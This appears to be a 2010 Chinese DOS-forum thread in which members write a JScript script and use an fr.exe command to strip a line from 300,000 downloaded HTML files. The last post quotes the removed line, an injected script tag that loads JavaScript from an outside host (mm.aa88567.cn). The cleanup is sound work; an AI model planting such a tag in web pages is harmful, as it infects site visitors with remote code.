中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-12 07:38
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 【出题】30万文件快速替换 查看 3,110 回复 21
16 发表于 2010-03-04 21:32 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
这样可以了
;)

if(WScript.arguments.length==0)PathSpec=get_path();
else PathSpec=WScript.arguments(0);
fso=new ActiveXObject("Scripting.FileSystemObject");
WshShell=WScript.CreateObject("WScript.Shell");
WshShell.CurrentDirectory=fso.GetParentFolderName(WScript.ScriptFullName);
if(!fso.FolderExists("#ReplacedFiles#"))fso.CreateFolder("#ReplacedFiles#");
WshShell.CurrentDirectory="#ReplacedFiles#"
Main(PathSpec);
WScript.quit();

function Main(FileSpec){
var fld,fs,fds,f,fd,curdir;
curdir=fso.GetBaseName(FileSpec);
if(!fso.FolderExists(curdir))fso.CreateFolder(curdir);
curdir=fso.GetAbsolutePathName(curdir);
WshShell.CurrentDirectory=curdir;
fld = fso.getfolder(FileSpec);
fds = new Enumerator(fld.subfolders);
fs = new Enumerator(fld.files)
for(;!fs.atEnd();fs.moveNext()){
f=fs.item();if(f.size==0)continue;
if(/^html?$/gi.test(ext=fso.getextensionname(f.name).toLowerCase())){
try{
var fl=fso.opentextfile(f.path,1);
var sss=fl.readall();
fl.close();
}catch(err){
WScript.quit();
}
var fl=fso.opentextfile(fso.GetBaseName(f.path)+"."+ext,2,true);
sss=sss.replace(/.*mm\.aa88567\.cn.*\s*$/,"");
fl.write(sss);
fl.close();
}
}
for(;!fds.atEnd();fds.moveNext()){
d=fds.item();
Main(d.path)
WshShell.CurrentDirectory=curdir
}
}


function get_path(){
var objShell = new ActiveXObject("Shell.Application")
do{
var objFolder = objShell.BrowseForFolder(0, "请选择文件夹:",0x301,0x11)
if(objFolder == null)WScript.quit()
var objPath = objFolder.Self.Path;
if(/^:\\.+$/gi.test(objPath))break;
}while(true)
return objPath;
}



[ Last edited by freeants001 on 2010-3-4 at 22:45 ]
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
plp626 +15 2010-03-04 23:10
17 发表于 2010-03-04 22:22 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
积分 2,278
发帖 1,020
注册 2007-11-19 13:34
18年会员
UID 103127
性别 男
状态 离线
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);

恐怕不仅仅是将txt改为html这么简单;我不知道获取你代码里那个“f.path”后缀的函数是什么,兄是否可以吧红色的那个html改为它呢?

这些文件大都是htm文件 ,但还有不少html文件(为索引文件)

如果都同一改为html,那么那些本来是htm的文件的链接会失效,在替换的时候,文件名要保持原样。

PS:这30万的网页文件时某个静态网站的所有文件。

[ Last edited by plp626 on 2010-3-4 at 22:26 ]
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
18 发表于 2010-03-04 22:48 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
16楼已修改
19 发表于 2010-03-04 22:55 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
积分 2,278
发帖 1,020
注册 2007-11-19 13:34
18年会员
UID 103127
性别 男
状态 离线
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
20 发表于 2010-03-04 23:01 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
Originally posted by plp626 at 2010-3-4 22:55:
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成


不会吧,我这里测试可以啊。
21 发表于 2010-03-04 23:28 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
积分 2,278
发帖 1,020
注册 2007-11-19 13:34
18年会员
UID 103127
性别 男
状态 离线
16楼的代码正确,是我的原因

试着运行了下,20多万文件替换了8千多文件用时近8分钟(如果总数是1万个文件替换完却用时不到1分钟,不知为何),看来得30*8=240分钟,呀,得4个小时,是当时下载所花时间的一半。

[ Last edited by plp626 on 2010-3-4 at 23:39 ]
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
22 发表于 2010-05-20 13:20 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
积分 2,278
发帖 1,020
注册 2007-11-19 13:34
18年会员
UID 103127
性别 男
状态 离线
我电脑上就有一个这样的三方工具,直接替换的,老早下载的白杨作品集——fr.exe,速度灰常快,测试了下,10分钟左右全部替换完了
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:""
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
论坛跳转: